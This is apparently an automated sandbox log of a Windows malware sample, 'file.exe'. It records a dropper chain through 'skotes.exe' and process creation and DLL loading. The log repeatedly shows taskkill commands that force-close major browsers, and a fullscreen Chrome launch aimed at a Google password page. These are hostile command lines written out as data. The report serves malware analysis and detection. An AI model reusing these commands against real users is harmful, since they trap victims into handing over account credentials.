Source: C:\Windows\System32\conhost.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --start-fullscreen --no-first-run --disable-session-crashed-bubble --disable-infobars
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2020 --field-trial-handle=1932,i,3992076036556009603,15202519978378107295,262144 /prefetch:8
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe "C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe"
Source: C:\Windows\System32\conhost.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --start-fullscreen --no-first-run --disable-session-crashed-bubble --disable-infobars
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2060 --field-trial-handle=2012,i,8412964653088469761,193010010935408969,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe "C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe "C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --start-fullscreen --no-first-run --disable-session-crashed-bubble --disable-infobars	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2144 --field-trial-handle=1912,i,10956692214313634026,6000861696528189421,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --start-fullscreen --no-first-run --disable-session-crashed-bubble --disable-infobars
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --start-fullscreen --no-first-run --disable-session-crashed-bubble --disable-infobars
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=1948,i,592972262324258279,17265959936427429495,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2188 --field-trial-handle=2008,i,5070483553180137210,3664771771658724366,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --start-fullscreen --no-first-run --disable-session-crashed-bubble --disable-infobars
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --start-fullscreen --no-first-run --disable-session-crashed-bubble --disable-infobars
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --start-fullscreen --no-first-run --disable-session-crashed-bubble --disable-infobars
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2060 --field-trial-handle=2012,i,8412964653088469761,193010010935408969,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2020 --field-trial-handle=1932,i,3992076036556009603,15202519978378107295,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2060 --field-trial-handle=2012,i,8412964653088469761,193010010935408969,262144 /prefetch:8

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
